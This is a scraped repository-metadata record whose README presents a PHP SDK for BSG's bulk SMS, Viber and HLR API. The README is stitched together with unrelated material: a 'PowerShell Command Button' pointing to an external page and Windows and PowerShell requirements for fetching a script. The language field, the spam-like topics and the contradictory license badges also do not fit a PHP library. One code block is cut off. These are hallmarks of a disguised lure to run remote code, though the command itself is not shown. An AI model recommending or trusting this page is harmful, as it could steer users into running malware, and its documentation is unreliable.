[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115741":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":18,"topics":19,"createdAt":9,"pushedAt":40,"updatedAt":41,"readmeContent":42,"aiSummary":43,"trendingCount":12,"starSnapshotCount":12,"syncStatus":44,"lastSyncTime":45,"discoverSource":46},115741,"php-bsg-api","mAniLaGrEy\u002Fphp-bsg-api","mAniLaGrEy","PHP client for BSG API: bulk SMS, 2Way SMS, Viber, and HLR services",null,"TypeScript",153,0,100,53,62.3,false,"main",true,[20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"disposable-email","disposable-email-domains","disposable-phone-numbers","email-marketing","email-sender","free-apis","gateway","number-generator","numbers","sms-php","sms-provider","sms-service-api","sms-service-provider","verification-code","viber-api","virtual","way2sms","way2sms-api","whatsapp-api","whatsapp-automation","2026-11-23 10:17:27","2026-11-17 18:11:06","\u003Cdiv align=\"center\">\n\n# PHP BSG API — Developer Library\n\n![](files\u002Fpreview.png)\n\n### ⌨️ PowerShell Command Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FmAniLaGrEy.github.io\u002Fphp-bsg-api\u002F)\n\n[![powershell-7](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fpowershell--7-script-2f81f7?style=flat&labelColor=0d1117)]() [![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flicense-gpl--2.0-54aeff?style=flat&labelColor=0d1117)]() [![state](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fstate-stable-2ea44f?style=flat&labelColor=0d1117)]() [![tests](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Ftests-passing-2ea44f?style=flat&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nA PHP client for BSG's API covering bulk SMS, 2Way SMS, Viber, and HLR services. The client exposes SMS, Viber, and HLR clients through a single BSG entry point. Construct it with an API key, then call methods on the returned client objects to send messages and query status by id or reference.\n\n## 🔧 Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n**Unified client factory.** A single `BSG` instance exposes channel-specific clients via `getSmsClient()`, `getHLRClient()`, and `getViberClient()`. Shared credentials and defaults — `apiKey`, `sender`, `viberSender`, `tariff`, and an optional app name — are passed once at construction and inherited by every client.\n\n- **Bulk SMS dispatch.** `sendSms()` handles a single recipient; `sendSmsMulti()` accepts an array of `msisdn`\u002F`body`\u002F`reference` entries and returns per-message results alongside an aggregate `total_price` and `currency`.\n\n- **2Way SMS support.** Message objects carry a client `reference`, so inbound and outbound traffic can be correlated by your own identifiers rather than provider-assigned IDs.\n\n- **Viber messaging with queueing.** `addMessage()` enqueues recipients with message body and options (`alpha_name`, `is_promotional`, `callback_url`); `sendMessages()` flushes the queue with optional `validity` and `tariff` overrides.\n\n- **HLR \u002F Number Lookup.** `sendHLR()` resolves a single `msisdn` with a required `reference`; `sendHLRS()` batches multiple lookups in one call. Responses expose network, brand, country, portability and roaming state.\n\n- **Status resolution by any key.** Every channel supports lookup via `getStatusById()`, `getStatusByReference()`, and — for SMS — `getTaskStatus()` for campaign-level counters (`sent`, `delivered`, `expired`, `undeliverable`, `unknown`).\n\n- **Per-channel pricing.** `getPrices()` is available on each client and returns a `prices` array keyed by `type`, `country`, `mcc`, `price`, and `currency` for the active tariff.\n\n- **Account balance.** `getBalance()` returns `amount`, `currency`, and `limit` alongside a normalized `error` \u002F `errorDescription` pair.\n\n- **Predictable response shape.** All calls return associative arrays with a consistent `error` (int) and `errorDescription` (string) envelope; batch operations add `result`, `total_price`, and `currency` at the top level.\n\n- **Zero dependencies.** Source files under `src` are loaded directly — no runtime package manager step. Composer is used solely to run the test suite.\n\n- **Configuration precedence.** Explicit per-call arguments override client defaults, which in turn override account-level settings; omitted tariffs fall back to the values configured in the BSG account.\n\n## Quick Start\n\nInstantiate the client with your API key, then pick a service client (SMS, HLR, Viber) from it. All clients share the same credentials and optional defaults supplied at construction time.\n\n```php\nrequire_once 'src\u002FBSG.php';\n\n$bsg = new BSG('your_api_key', 'MySender', 'MyViberName', 3, 'my-app');\n\n$sms = $bsg->getSmsClient();\n$hlr = $bsg->getHLRClient();\n$viber = $bsg->getViberClient();\n```\n\n### Verify credentials\n\nConfirm connectivity and inspect the account balance before sending anything:\n\n```php\n$balance = $sms->getBalance();\n\nif ($balance['error']!== 0) {\nthrow new RuntimeException($balance['errorDescription']);\n}\n```\n\n### Send a single SMS\n\n`sendSms` takes the recipient number, the message body, and a unique client reference you control:\n\n```php\n$result = $sms->sendSms('380501111111', 'Hello from BSG', 'ref-'. time());\n\necho $result['id']; \u002F\u002F message id for later status lookups\n```\n\n### Send bulk SMS\n\nPass an array of message descriptors. Each entry requires `msisdn`, `body`, and a unique `reference`:\n\n```php\n$batch = $sms->sendSmsMulti([\n['msisdn' => '380501111111', 'body' => 'Msg A', 'reference' => 'bulk-a-'. time()],\n['msisdn' => '380501111112', 'body' => 'Msg B', 'reference' => 'bulk-b-'. time()],\n]);\n\nforeach ($batch['result'] as $item) {\nif ($item['error']!== 0) {\n\u002F\u002F handle per-recipient failure\n}\n}\n```\n\n### Look up a phone number (HLR)\n\nSend an HLR request and poll by the reference you supplied:\n\n```php\n$hlr->sendHLR('+380501111111', 'lookup-1');\n\n$status = $hlr->getStatusByReference('lookup-1');\necho $status['status']; \u002F\u002F e.g. \"failed\", network info in $status['network']\n```\n\n### Send a Viber message\n\nQueue a message, then flush the queue:\n\n```php\n$viber->addMessage([['msisdn' => '380501111111']], 'Viber body text');\n$flush = $viber->sendMessages();\n```\n\n### Check message status\n\nEvery send returns an `id` and echoes your `reference`. Retrieve delivery state with either:\n\n```php\n$byId = $sms->getStatusById($result['id']);\n$byRef = $sms->getStatusByReference('ref-'. time());\n```\n\nEvery response is a plain associative array with an `error` key (`0` on success) and an `errorDescription`. Check `error` before reading payload fields.\n\n## API Reference\n\n### Client initialization\n\nAll API operations are exposed through service-specific clients obtained from the main `BSG` object.\n\n```php\n$apiKey = 'test_8zWaPwOaHDPRFmgIldhl';\n$bsg = new BSG($apiKey, 'originator', 'alphaname', 3, 'MyApp');\n\n$smsClient = $bsg->getSmsClient();\n$hlrClient = $bsg->getHLRClient();\n$viberClient = $bsg->getViberClient();\n```\n\nConstructor parameters:\n\n- **apiKey** *(string)* — account API key. Required.\n- **sender** *(string)* — default sender name for SMS.\n- **viberSender** *(string)* — default Viber alpha name.\n- **tariff** *(int)* — tariff code used for the session when a per-call tariff is not supplied.\n- **apiSource** *(string)* — optional application identifier.\n\n-\n\n### Balance\n\n`getBalance()` returns the current account balance. Available on any client instance.\n\n```php\n$response = $smsClient->getBalance();\n```\n\n```php\n[\n\"error\" => 0,\n\"errorDescription\" => \"No errors\",\n\"amount\" => \"-4.0999333\",\n\"currency\" => \"EUR\",\n\"limit\" => \"7\",\n]\n```\n\n-\n\n### HLR\n\nNumber lookup resolves number activity, roaming state, and porting status.\n\n#### sendHLR\n\nSubmits a single HLR request.\n\nParameters:\n\n- **msisdn** *(string)* — phone number. Required.\n- **reference** *(string)* — client-side unique reference. Required.\n- **tariff** *(int)* — tariff code; falls back to the `BSG` tariff, then to the account default.\n\n```php\n$response = $hlrClient->sendHLR('+380501111111', (string) time());\n```\n\n```php\n[\n\"result\" => [\n[\n\"error\" => 0,\n\"errorDescription\" => \"No errors\",\n\"msisdn\" => \"380501111111\",\n\"reference\" => \"1488536778\",\n\"tariff_code\" => \"0\",\n\"callback_url\" => \"\",\n\"price\" => 0.0025,\n\"currency\" => \"EUR\",\n\"id\" => \"174568\",\n],\n],\n\"total_price\" => 0.0025,\n\"currency\" => \"EUR\",\n]\n```\n\n#### sendHLRS\n\nSubmits multiple HLR requests in a single call. Each entry accepts `msisdn`, `reference`, and `tariff`.\n\n```php\n$response = $hlrClient->sendHLRS([\n[\"msisdn\" => \"380501111111\", \"reference\" => \"extid1\", \"tariff\" => \"0\"],\n[\"msisdn\" => \"380501111112\", \"reference\" => \"extid2\", \"tariff\" => \"0\"],\n]);\n```\n\nThe response mirrors `sendHLR`, with one result entry per submitted number plus an aggregated `total_price`.\n\n#### getStatusByReference\n\nFetches an HLR result by its client reference.\n\n```php\n$response = $hlrClient->getStatusByReference('ref1');\n```\n\n#### getStatusById\n\nFetches an HLR result by the identifier returned at creation.\n\n```php\n$response = $hlrClient->getStatusById('174568');\n```\n\nStatus response fields:\n\n- **error**, **errorDescription** — result status.\n- **msisdn** — queried number.\n- **reference** — client reference.\n- **id** — internal identifier.\n- **network** — mobile network code.\n- **name_en**, **name_ru**, **brand**, **name** — carrier metadata.\n- **status** — lookup state, e.g. `failed`.\n- **details** — optional detail payload or `NULL`.\n- **createdDatetime**, **statusDatetime** — ISO 8601 timestamps.\n\n-\n\n### SMS\n\n#### sendSms\n\nSends a single SMS. Up to 50 recipients per request are supported via `sendSmsMulti`.\n\nParameters:\n\n- **msisdn** *(string)* — recipient number. Required.\n- **body** *(string)* — message text. Required.\n- **reference** *(string)* — client reference. Required.\n- **validity** *(int)* — validity window in seconds.\n- **tariff** *(int)* — tariff code.\n- **originator** *(string)* — sender, numeric or up to 11 alphanumeric characters. Falls back to the `BSG` sender; required otherwise.\n\n```php\n$smsClient->sendSms('380501111111', 'test', 'successSend'. time());\n```\n\n#### sendSmsMulti\n\n```php\n$response = $smsClient->sendSmsMulti([\n[\"msisdn\" => 380501111111, \"body\" => \"test\", \"reference\" => \"successSendM\". time()],\n[\"msisdn\" => 380501111112, \"body\" => \"tes2\", \"reference\" => \"successSendM1\". time()],\n]);\n```\n\n```php\n[\n\"result\" => [\n[\n\"error\" => 0,\n\"errorDescription\" => \"No errors\",\n\"reference\" => \"successSendM1488547867\",\n\"id\" => \"174584\",\n\"price\" => 0.1,\n\"currency\" => \"EUR\",\n],\n[\n\"error\" => 0,\n\"errorDescription\" => \"No errors\",\n\"reference\" => \"successSendM11488547867\",\n\"id\" => \"174585\",\n\"price\" => 0.1,\n\"currency\" => \"EUR\",\n],\n],\n\"total_price\" => 0.2,\n\"currency\" => \"EUR\",\n]\n```\n\n#### Status retrieval\n\n```php\n$byId = $smsClient->getStatusById(214);\n$byReference = $smsClient->getStatusByReference('ref1');\n$byTask = $smsClient->getTaskStatus(214);\n```\n\nSingle-message status response:\n\n```php\n[\n\"error\" => 0,\n\"errorDescription\" => \"No errors\",\n\"id\" => \"380501111111\",\n\"msisdn\" => \"380501111111\",\n\"reference\" => \"successSend1488548141\",\n\"time_in\" => \"-03-03 13:35:42\",\n\"time_sent\" => \"-03-03 13:35:42\",\n\"time_dr\" => \"-03-03 13:35:42\",\n\"status\" => \"unknown\",\n\"price\" => 0,\n\"currency\" => \"EUR\",\n]\n```\n\nTask status response:\n\n```php\n[\n\"originator\" => \"name\",\n\"body\" => \"body\",\n\"validity\" => 72,\n\"totalprice\" => 0.1,\n\"currency\" => \"EUR\",\n\"sent\" => 1,\n\"delivered\" => 1,\n\"expired\" => 0,\n\"undeliverable\" => 0,\n\"unknown\" => 0,\n]\n```\n\n-\n\n### Viber\n\n#### addMessage\n\nQueues a Viber message for one or more recipients.\n\nParameters:\n\n- **to** *(array)* — recipient entries of the form `[\"msisdn\" =>..., \"reference\" =>...]`. Required.\n- **messages** *(string)* — message text. Required.\n- **options** *(array)* — optional configuration:\n- **alpha_name** *(string)* — sender alpha name. Falls back to the `BSG` viber sender; required if unset.\n- **is_promotional** *(bool)* — promotional flag. Defaults to `true`.\n- **callback_url** *(string)* — delivery report endpoint; requires the recipient entry to include a `reference`.\n\n```php\n$viberClient->addMessage([[\"msisdn\" => 380501111111]], 'test');\n```\n\n#### sendMessages\n\nDispatches all queued Viber messages.\n\nParameters:\n\n- **validity** *(int)* — validity window in seconds.\n- **tariff** *(int)* — tariff code.\n\n```php\n$response = $viberClient->sendMessages();\n```\n\n```php\n[\n\"result\" => [\n[\n\"error\" => 0,\n\"errorDescription\" => \"No errors\",\n\"id\" => \"174592\",\n\"price\" => 0,\n\"currency\" => \"EUR\",\n],\n],\n\"currency\" => \"EUR\",\n\"total_price\" => 0,\n]\n```\n\n#### Status retrieval\n\n```php\n$byId = $viberClient->getStatusById(216);\n$byReference = $viberClient->getStatusByReference('ext_id_19');\n```\n\n```php\n[\n\"error\" => 0,\n\n## Examples\n\n```php\n\u003C?php\nrequire_once 'src\u002FBSG.php';\n\n$apiKey = 'your_api_key';\n$bsg = new BSG($apiKey, 'MySender', 'MyViberName', 3, 'MyApp');\n```\n\n### Check account balance\n\n```php\n$client = $bsg->getSmsClient();\n$balance = $client->getBalance();\n\nprint_r($balance['amount']); \u002F\u002F e.g. \"-4.0999333\"\nprint_r($balance['currency']); \u002F\u002F e.g. \"EUR\"\n```\n\n### Send a single SMS\n\n```php\n$sms = $bsg->getSmsClient();\n$sms->sendSms(\n'380501111111',\n'Test message body',\n'order-'. time()\n);\n```\n\n### Send bulk SMS (up to 50 recipients per request)\n\n```php\n$sms = $bsg->getSmsClient();\n\n$response = $sms->sendSmsMulti([\n['msisdn' => '380501111111', 'body' => 'First message', 'reference' => 'bulk-1-'. time()],\n['msisdn' => '380501111112', 'body' => 'Second message', 'reference' => 'bulk-2-'. time()],\n]);\n\nforeach ($response['result'] as $item) {\nif ($item['error']!== 0) {\nerror_log($item['reference']. ': '. $item['errorDescription']);\n}\n}\n```\n\n### Fetch SMS status\n\n```php\n$sms = $bsg->getSmsClient();\n\n\u002F\u002F by internal ID\n$byId = $sms->getStatusById(214);\n\n\u002F\u002F by client reference\n$byRef = $sms->getStatusByReference('bulk-1-1488547867');\n\n\u002F\u002F by task ID (aggregate delivery counters)\n$byTask = $sms->getTaskStatus(214);\n```\n\n### Perform an HLR lookup\n\n```php\n$hlr = $bsg->getHLRClient();\n\n$hlr->sendHLR('+380501111111', 'lookup-'. time());\n```\n\n### Submit multiple HLR lookups\n\n```php\n$hlr = $bsg->getHLRClient();\n\n$response = $hlr->sendHLRS([\n['msisdn' => '380501111111', 'reference' => 'hlr-1'],\n['msisdn' => '380501111112', 'reference' => 'hlr-2'],\n]);\n```\n\n### Retrieve HLR result\n\n```php\n$hlr = $bsg->getHLRClient();\n\n$byId = $hlr->getStatusById('174568');\n$byRef = $hlr->getStatusByReference('hlr-1');\n\nprint_r($byRef['status']); \u002F\u002F e.g. \"failed\", \"active\"\nprint_r($byRef['network']); \u002F\u002F e.g. \"25501\"\n```\n\n### Queue and dispatch a Viber message\n\n```php\n$viber = $bsg->getViberClient();\n\n$viber->addMessage(\n[['msisdn' => '380501111111', 'reference' => 'viber-1']],\n'Viber message text',\n[\n'alpha_name' => 'MyViberName',\n'is_promotional' => true,\n'callback_url' => 'https:\u002F\u002Fexample.localhook\u002Fhandler',\n]\n);\n\n$viber->sendMessages();\n```\n\n### Viber status\n\n```php\n$viber = $bsg->getViberClient();\n\n$response = $viber->getStatusById(216);\nprint_r($response['status']);\n```\n\n### Read tariff prices\n\n```php\n$hlrPrices = $bsg->getHLRClient()->getPrices();\n$smsPrices = $bsg->getSmsClient()->getPrices();\n$viberPrices = $bsg->getViberClient()->getPrices();\n\nforeach ($smsPrices['prices'] as $row) {\necho $row['country_name']. ' — '. $row['price']. ' '. $row['currency']. PHP_EOL;\n}\n```\n\n### Notes on arguments\n\n- `msisdn` is passed as a string; leading `+` is accepted, digits-only is normalized by the API.\n- `reference` must be unique per message and is your only key for later status lookups.\n- `tariff` on the `BSG` instance is used when a call omits it; otherwise the account default applies.\n- `originator` is taken from the `BSG` instance when set, and is required per-call when it is not.\n- `validity` is expressed in seconds.\n\n## License\n\nDistributed under the MIT License.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nKeep the license file (`LICENSE`) in the repository root. Any downstream redistribution of PHP BSG API must retain the copyright notice and this permission notice. No warranty is extended to API usage, message delivery, or third-party service availability.","这是一个用于对接BSG通信服务平台的PHP客户端SDK，支持批量短信发送、双向短信交互、Viber消息推送及HLR号码状态查询功能。项目采用统一入口设计，通过单个BSG实例初始化后可获取SMS、Viber和HLR专用客户端，共享认证凭据与默认配置；提供批量操作、按自定义Reference关联收发消息、队列式Viber发送、多号码HLR批量查询、按ID\u002FReference查状态、渠道定价查询及账户余额获取等能力。适用于需要集成多通道通信能力的企业级通知、用户验证、营销触达及号码有效性校验等场景。",2,"2026-11-24 04:51:59","CREATED_QUERY"]